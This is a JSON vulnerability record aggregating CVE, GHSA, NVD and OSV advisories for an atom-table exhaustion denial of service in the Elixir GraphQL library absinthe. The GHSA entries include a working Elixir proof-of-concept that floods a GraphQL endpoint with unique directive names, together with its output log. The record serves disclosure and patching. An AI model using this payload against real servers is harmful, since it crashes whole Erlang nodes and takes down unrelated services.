{"id":"CVE-2026-42793","aliases":["EEF-CVE-2026-42793","EUVD-2026-28798","GHSA-qf4g-9fqq-mmm7"],"status":"published","title":"Atom table exhaustion via attacker-controlled GraphQL SDL names in absinthe","description":"Allocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00613,"percentile":0.49841,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-05-08T15:42:46Z","modified":"2026-11-11T20:10:00Z","fixes":[{"ecosystem":"Hex","package":"absinthe","fixed_in":["1.10.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"absinthe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.5.0"},{"fixed":"1.10.2"}]}]},{"source":"osv","ecosystem":"Hex","package":"absinthe","ranges":[{"type":"SEMVER","events":[{"introduced":"1.5.0"},{"fixed":"1.10.2"}]}],"versions":["1.10.0","1.10.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.6.0","1.6.0-rc.0","1.6.0-rc.1","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.10","1.7.11","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.9.0","1.9.1"]},{"source":"osv","ecosystem":"Hex","package":"absinthe","ranges":[{"type":"SEMVER","events":[{"introduced":"1.5.0"},{"fixed":"1.10.2"}]}],"versions":["1.10.0","1.10.1","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.6.0","1.6.0-rc.0","1.6.0-rc.1","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.10","1.7.11","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.9.0","1.9.1"]}],"products":[{"vendor":"absinthe-graphql","product":"absinthe"}],"references":[{"url":"https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-qf4g-9fqq-mmm7","tags":["vendor-advisory","related","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://cna.erlef.org/cves/CVE-2026-42793.html","tags":["related","Third Party Advisory","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-42793","tags":["related","Third Party Advisory","web"]},{"url":"https://github.com/absinthe-graphql/absinthe/commit/dd842b938e3823f345c10416914ffab5d5536838","tags":["patch","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42793","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qf4g-9fqq-mmm7"},{"url":"https://github.com","tags":["web"]},{"url":"https://repo.hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42793.json","tags":["advisory"]},{"url":"https://github.com/absinthe-graphql/absinthe","tags":["package"]},{"url":"https://hex.pm/packages/absinthe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42793","title":"Atom table exhaustion via attacker-controlled GraphQL SDL names in absinthe","description":"Allocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","status":"published","published":"2026-05-08T15:42:46.101Z","modified":"2026-05-09T12:41:41.873Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T13:40:12.486331Z"}],"euvd":[{"id":"EUVD-2026-28798","description":"Allocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","status":"published","published":"2026-05-08T15:42:46Z","modified":"2026-05-09T12:41:41Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:05:13.690762Z"}],"ghsa":[{"id":"GHSA-qf4g-9fqq-mmm7","title":"Absinthe: Unbounded atom creation from parsed directive name","description":"### Summary\nWhen Absinthe parses a GraphQL SDL document, every `directive @\u003cname\u003e` definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names.\n\nIntroduced in https://github.com/absinthe-graphql/absinthe/commit/d0eae7764520d4e8e5dfff619068c0de911aec33\n\n### Details\nIn `lib/absinthe/language/directive_definition.ex:27`, the `Blueprint.from_ast/2` conversion does:\n\n```elixir\nMacro.underscore(node.name) |\u003e String.to_atom()\n```\n\n`node.name` is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of `String.to_existing_atom/1`, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table.\n\nAny code path that runs `Absinthe.Phase.Parse` (or any equivalent that ultimately calls `Absinthe.Blueprint.Draft.convert/2` on a parsed `DirectiveDefinition` node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique `directive @\u003crandom\u003e` definitions to exhaust the atom table and crash the BEAM.\n\nThe same vulnerablity was found in these files as well:\n\n- `lib/absinthe/language/enum_type_definition.ex:23`\n- `lib/absinthe/language/field_definition.ex:27`\n- `lib/absinthe/language/input_object_type_definition.ex:24`\n- `lib/absinthe/language/input_value_definition.ex:31`\n- `lib/absinthe/language/interface_type_definition.ex:26`\n- `lib/absinthe/language/object_type_definition.ex:27`\n- `lib/absinthe/language/scalar_type_definition.ex:23`\n- `lib/absinthe/language/union_type_definition.ex:24`\n- maybe others too.\n\nPlease do a search\u0026replace in the whole project.\n\n### PoC\nA script that parses a generated SDL document containing many unique `directive @\u003crandom\u003e` definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report.\n\n### Impact\nThis is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from parsed directive name\n\nMix.install([\n  {:absinthe, \"~\u003e 1.7\"},\n  {:absinthe_plug, \"~\u003e 1.5\"},\n  {:bandit, \"~\u003e 1.5\"},\n  {:plug, \"~\u003e 1.16\"},\n  {:jason, \"~\u003e 1.4\"},\n  {:req, \"~\u003e 0.5\"}\n])\n\n# Minimal Absinthe schema -- the only thing it needs to do is exist\n# so that Absinthe.Plug will parse incoming GraphQL documents.\ndefmodule DemoSchema do\n  use Absinthe.Schema\n\n  query do\n    field :hello, :string do\n      resolve fn _, _, _ -\u003e {:ok, \"world\"} end\n    end\n  end\nend\n\n# Standard absinthe_plug HTTP entry point. This is the public\n# trust boundary: anyone who can reach the server can POST a\n# GraphQL document, which Absinthe will parse and lower into a\n# Blueprint -- the path that mints atoms from directive names.\ndefmodule Router do\n  use Plug.Router\n\n  plug Plug.Parsers,\n    parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :match\n  plug :dispatch\n\n  forward \"/graphql\", to: Absinthe.Plug, init_opts: [schema: DemoSchema]\n\n  match _ do\n    send_resp(conn, 404, \"not found\")\n  end\nend\n\nport = 41_731\n{:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false)\n\nbase = \"http://127.0.0.1:#{port}/graphql\"\n\n# Attacker-controlled GraphQL document: a flood of unique directive\n# definitions plus a trivial operation. Absinthe parses the whole\n# document and converts each DirectiveDefinition AST node into a\n# Blueprint, calling String.to_atom/1 on every directive name along\n# the way (lib/absinthe/language/directive_definition.ex:27).\nn = 5_000\nrandom_tag = :crypto.strong_rand_bytes(4) |\u003e Base.encode16(case: :lower)\n\ndirectives =\n  1..n\n  |\u003e Enum.map_join(\"\\n\", fn i -\u003e\n    \"directive @atomdos_#{random_tag}_#{i} on FIELD\"\n  end)\n\ndocument = directives \u003c\u003e \"\\nquery { hello }\\n\"\n\nbefore_atoms = :erlang.system_info(:atom_count)\n\nresponse =\n  Req.post!(base,\n    headers: [{\"content-type\", \"application/graphql\"}],\n    body: document,\n    receive_timeout: 60_000\n  )\n\nafter_atoms = :erlang.system_info(:atom_count)\ndelta = after_atoms - before_atoms\n\nIO.puts(\"HTTP status:        #{response.status}\")\nIO.puts(\"payload directives: #{n}\")\nIO.puts(\"atom_count before:  #{before_atoms}\")\nIO.puts(\"atom_count after:   #{after_atoms}\")\nIO.puts(\"delta:              #{delta}\")\n\n# Tear the listener down so the script can be re-run cleanly.\nProcess.exit(server_pid, :normal)\n\nresult =\n  if delta \u003e= n do\n    \"VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (\u003e= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -\u003e Absinthe.Language.DirectiveDefinition.\"\n  else\n    \"NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP.\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP status:        200\npayload directives: 5000\natom_count before:  26049\natom_count after:   32581\ndelta:              6532\nVERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (\u003e= 5000 attacker-supplied directive names)\n```","status":"published","published":"2026-05-14T13:08:32Z","modified":"2026-05-14T13:08:33Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-42793","description":"Allocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","status":"published","published":"2026-05-08T16:16:12.55Z","modified":"2026-11-11T20:10:00.273Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-11T21:26:15.366289Z"}],"osv":[{"id":"CVE-2026-42793","title":"Atom table exhaustion via attacker-controlled GraphQL SDL names in absinthe","description":"Allocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","status":"published","published":"2026-05-08T15:42:46.101Z","modified":"2026-10-28T02:30:43.673462021Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"EEF-CVE-2026-42793","title":"Atom table exhaustion via attacker-controlled GraphQL SDL names in absinthe","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via atom table exhaustion when parsing attacker-controlled GraphQL SDL.\n\nMultiple Blueprint.Draft.convert/2 implementations in Absinthe's SDL language modules call String.to\\_atom/1 on attacker-controlled names from parsed GraphQL SDL documents, including directive names, field names, type names, and argument names. Because atoms are never garbage-collected and the BEAM atom table has a fixed limit (default 1,048,576), each unique name permanently consumes one slot. An attacker can exhaust the atom table by submitting SDL documents containing enough unique names, causing the Erlang VM to abort with system\\_limit and taking down the entire node.\n\nAny application that passes attacker-controlled GraphQL SDL through Absinthe's parser is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, or any developer tool that runs the parser over user-supplied documents.\n\nThis issue affects absinthe: from 1.5.0 before 1.10.2.","status":"published","published":"2026-05-08T15:42:46.101Z","modified":"2026-07-30T18:22:04.283959Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:33.047032Z"},{"id":"GHSA-qf4g-9fqq-mmm7","title":"Absinthe: Unbounded atom creation from parsed directive name","description":"### Summary\nWhen Absinthe parses a GraphQL SDL document, every `directive @\u003cname\u003e` definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names.\n\nIntroduced in https://github.com/absinthe-graphql/absinthe/commit/d0eae7764520d4e8e5dfff619068c0de911aec33\n\n### Details\nIn `lib/absinthe/language/directive_definition.ex:27`, the `Blueprint.from_ast/2` conversion does:\n\n```elixir\nMacro.underscore(node.name) |\u003e String.to_atom()\n```\n\n`node.name` is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of `String.to_existing_atom/1`, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table.\n\nAny code path that runs `Absinthe.Phase.Parse` (or any equivalent that ultimately calls `Absinthe.Blueprint.Draft.convert/2` on a parsed `DirectiveDefinition` node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique `directive @\u003crandom\u003e` definitions to exhaust the atom table and crash the BEAM.\n\nThe same vulnerablity was found in these files as well:\n\n- `lib/absinthe/language/enum_type_definition.ex:23`\n- `lib/absinthe/language/field_definition.ex:27`\n- `lib/absinthe/language/input_object_type_definition.ex:24`\n- `lib/absinthe/language/input_value_definition.ex:31`\n- `lib/absinthe/language/interface_type_definition.ex:26`\n- `lib/absinthe/language/object_type_definition.ex:27`\n- `lib/absinthe/language/scalar_type_definition.ex:23`\n- `lib/absinthe/language/union_type_definition.ex:24`\n- maybe others too.\n\nPlease do a search\u0026replace in the whole project.\n\n### PoC\nA script that parses a generated SDL document containing many unique `directive @\u003crandom\u003e` definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report.\n\n### Impact\nThis is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from parsed directive name\n\nMix.install([\n  {:absinthe, \"~\u003e 1.7\"},\n  {:absinthe_plug, \"~\u003e 1.5\"},\n  {:bandit, \"~\u003e 1.5\"},\n  {:plug, \"~\u003e 1.16\"},\n  {:jason, \"~\u003e 1.4\"},\n  {:req, \"~\u003e 0.5\"}\n])\n\n# Minimal Absinthe schema -- the only thing it needs to do is exist\n# so that Absinthe.Plug will parse incoming GraphQL documents.\ndefmodule DemoSchema do\n  use Absinthe.Schema\n\n  query do\n    field :hello, :string do\n      resolve fn _, _, _ -\u003e {:ok, \"world\"} end\n    end\n  end\nend\n\n# Standard absinthe_plug HTTP entry point. This is the public\n# trust boundary: anyone who can reach the server can POST a\n# GraphQL document, which Absinthe will parse and lower into a\n# Blueprint -- the path that mints atoms from directive names.\ndefmodule Router do\n  use Plug.Router\n\n  plug Plug.Parsers,\n    parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :match\n  plug :dispatch\n\n  forward \"/graphql\", to: Absinthe.Plug, init_opts: [schema: DemoSchema]\n\n  match _ do\n    send_resp(conn, 404, \"not found\")\n  end\nend\n\nport = 41_731\n{:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false)\n\nbase = \"http://127.0.0.1:#{port}/graphql\"\n\n# Attacker-controlled GraphQL document: a flood of unique directive\n# definitions plus a trivial operation. Absinthe parses the whole\n# document and converts each DirectiveDefinition AST node into a\n# Blueprint, calling String.to_atom/1 on every directive name along\n# the way (lib/absinthe/language/directive_definition.ex:27).\nn = 5_000\nrandom_tag = :crypto.strong_rand_bytes(4) |\u003e Base.encode16(case: :lower)\n\ndirectives =\n  1..n\n  |\u003e Enum.map_join(\"\\n\", fn i -\u003e\n    \"directive @atomdos_#{random_tag}_#{i} on FIELD\"\n  end)\n\ndocument = directives \u003c\u003e \"\\nquery { hello }\\n\"\n\nbefore_atoms = :erlang.system_info(:atom_count)\n\nresponse =\n  Req.post!(base,\n    headers: [{\"content-type\", \"application/graphql\"}],\n    body: document,\n    receive_timeout: 60_000\n  )\n\nafter_atoms = :erlang.system_info(:atom_count)\ndelta = after_atoms - before_atoms\n\nIO.puts(\"HTTP status:        #{response.status}\")\nIO.puts(\"payload directives: #{n}\")\nIO.puts(\"atom_count before:  #{before_atoms}\")\nIO.puts(\"atom_count after:   #{after_atoms}\")\nIO.puts(\"delta:              #{delta}\")\n\n# Tear the listener down so the script can be re-run cleanly.\nProcess.exit(server_pid, :normal)\n\nresult =\n  if delta \u003e= n do\n    \"VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (\u003e= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -\u003e Absinthe.Language.DirectiveDefinition.\"\n  else\n    \"NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP.\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP status:        200\npayload directives: 5000\natom_count before:  26049\natom_count after:   32581\ndelta:              6532\nVERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (\u003e= 5000 attacker-supplied directive names)\n```","status":"published","published":"2026-05-14T13:08:32Z","modified":"2026-05-14T13:25:17.288384Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}
